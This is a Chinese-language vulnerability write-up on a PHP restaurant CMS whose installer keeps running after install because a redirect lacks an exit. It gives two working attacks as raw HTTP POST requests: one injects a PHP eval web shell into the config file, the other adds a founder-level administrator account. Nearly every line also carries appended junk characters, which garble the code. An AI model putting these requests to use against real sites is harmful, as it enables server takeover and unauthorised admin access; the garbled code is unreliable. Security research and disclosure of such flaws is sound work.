问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。$ w# E4 F* e* A( V" h
4 f0 m1 n% {8 D" Z' j9 u
<?php$ J J8 U+ q, m& ^, n% D6 B
if(file_exists("../install.lock"))
4 r* o/ Y# }5 H% i; Q ?* @% s4 G{
5 s- J+ p0 D9 I. Z% Y6 l& y; ` header("Location: ../");//没有退出 T% s, M( x- ^ v ^
}
8 Z1 X* \; P8 I' s& w" K. ~+ H' @+ [ % o- h' Y' q: G! M4 l5 l& R
//echo 'tst';exit;* z% J0 o% Y6 i1 [: A, e/ A
require_once("init.php");
4 t+ M5 i/ Y& G% T5 I! p. oif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
% B s, x' B9 R5 @6 r6 C1 \{
4 t4 K, Z9 o9 {& q! @7 y& @; Y: z$ X可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。, {0 n6 R1 Y ?% d
1 ^5 U3 f$ K1 {) l* R1、getshell(很危险)6 Z0 ~* k) f( u% f M6 ^& a$ w
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)' V) ~& \; j- ]2 N: v+ O8 \7 ^
{
) r) o1 v: y7 Y3 B6 G. A5 E$smarty->assign("step",1);
6 I f, `: u4 X2 w) w. ], i$smarty->display("index.html");" I/ [' J0 s' }$ Z
}elseif($_REQUEST['step']==2)8 O% G, H2 v. M0 _$ H
{& t4 z, p! u1 P( h
$mysql_host=trim($_POST['mysql_host']);( F% O8 q; v" j' T: `+ V: q2 c
$mysql_user=trim($_POST['mysql_user']);
2 X& x1 w: \, ^0 B M+ Y7 b $mysql_pwd=trim($_POST['mysql_pwd']);' r# R0 @ w5 @7 k) z
$mysql_db=trim($_POST['mysql_db']);( s: r) X4 k; \3 {% W8 c
$tblpre=trim($_POST['tblpre']);
8 l5 @8 v( H6 y" D2 K' z+ u# r $domain==trim($_POST['domain']);0 v) @4 C. g+ i8 L8 O) G0 D
$str="<?php \r\n";! K( W* J; {' P) {' P G$ D# ~
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
& _& n* T' e4 _5 W $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";% ]4 q: y6 k% z# ~
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";- y1 V, y# `5 D
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
; H3 f7 p( `% n $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
, `/ ?/ Y9 z2 O& x0 y( t $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
8 P* w. x( R3 N# J1 v4 [ $str.='define("DOMAIN","'.$domain.'");'."\r\n";( _' w2 Z. G2 b( `8 H$ m) c0 a
$str.='define("SKINS","default");'."\r\n";! S L$ ?+ E5 c/ @) ]3 {1 T4 o
$str.='?>';3 ~4 K$ I) }3 s4 P* L0 l' Q
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
% |5 d. Z- {2 Z) P& M上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马 z& L* c7 m4 p0 A" B7 \2 {
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
x0 L$ l, X$ H4 Q: Y RHost: 192.168.80.129
; j. R4 w; o: z' f" K+ p2 y: PUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
! ^ n, r$ s5 y3 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: ~3 G3 I( l! W+ ?Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
) }$ C$ m, o4 _$ m9 {$ uAccept-Encoding: gzip, deflate6 w8 S5 \2 O1 u& [! E) ~. |
Referer: http://192.168.80.129/canting/install/index.php?step=1
$ D7 N0 Y: t/ M) C+ J8 \( uCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ I6 m9 f' [9 W- H' NContent-Type: application/x-www-form-urlencoded0 `/ d- q8 r/ e$ g7 {0 ~/ b
Content-Length: 126" a- a0 q! x3 ^, q
' U/ B0 Q1 O5 ~+ U8 \" }2 pmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD. f& Z( _1 O+ G
但是这个方法很危险,将导致网站无法运行。
( M0 J% F9 G: T( r. b' g! N Q7 B6 ]9 ^
2、直接添加管理员 l* \' q, }% G" a) T8 v, e. ]
+ V1 T) U9 u" ?2 i% T% eelseif($_REQUEST['step']==5)
+ I' E4 w2 r4 m% {) g. f9 Y{$ D0 k* M) K. [' a+ n
if($_POST)
2 k+ M X) `4 d { require_once("../config/config.inc.php");
5 z, J: u- T c: I $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
' |& V) g: N. A" ^; g mysql_select_db(MYSQL_DB,$link); d$ I4 [* e+ \ ^& m
mysql_query("SET NAMES ".MYSQL_CHARSET );
# T' ~6 H: X' y' j9 U( j' @ mysql_query("SET sql_mode=''");, C, z5 c' H* k& U3 z. g4 u- v
, M9 g; |: z6 g% C* I" Y
$adminname=trim($_POST['adminname']);
8 M; v. t. m( h$ X2 ` O+ \1 V $pwd1=trim($_POST['pwd1']);
6 h) H+ k( G2 T3 r4 B7 ^4 |% ?& P $pwd2=trim($_POST['pwd2']);7 a& C. j9 ^" d* @; Y; G- Z
if(empty($adminname))
% ~& C- G% Z9 F5 y" q; e { w' d+ `! T0 Z7 I
7 b. z9 h, M; Z# s1 o
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
0 x. x, i1 v2 r" R# \) l( C exit();9 d" w. l" l, H p0 }8 ~
}& h; A+ k1 h7 [# L. n" j# s+ l
if(($pwd1!=$pwd2) or empty($pwd1))' `6 L1 U( V# G0 |+ K
{4 N9 q( k! O l
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
9 |+ W9 G/ `5 g5 T6 W, w. t2 @ L1 s+ [ }7 R" R9 D% ?# {0 g# t# Q+ M$ K
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员! q X D& Q2 f5 ]' O. R8 {2 a3 V
}6 `9 x% L% I+ ?
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
& X8 M) Y" l) c( F, F2 _POST /canting/install/index.php?m=index&step=5 HTTP/1.19 v/ w. H4 B# X; l% M; ]
Host: 192.168.80.129
3 {( }" V. @5 E, k, GUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
9 N1 f" \# f$ Y1 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ D7 l* ?3 p# z2 }( w; ]" dAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3- p. g9 Q6 \% ^
Accept-Encoding: gzip, deflate' I1 O7 }5 x3 j+ t* W" V7 i: a
Referer: http://www.2cto.com /canting/install/index.php?step=1
& P" J* \1 c- K4 ~Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
7 L0 |) b& x) HContent-Type: application/x-www-form-urlencoded
: `! p( J* H" o8 o. z: b/ G! [3 i, k0 p8 qContent-Length: 46
% F k9 \ d s$ v- P
. F0 S6 L* ~$ w6 z' h+ ^6 y& N7 wadminname=qingshen&pwd1=qingshen&pwd2=qingshen. E5 ?5 j: l5 D% Q' n6 Z
|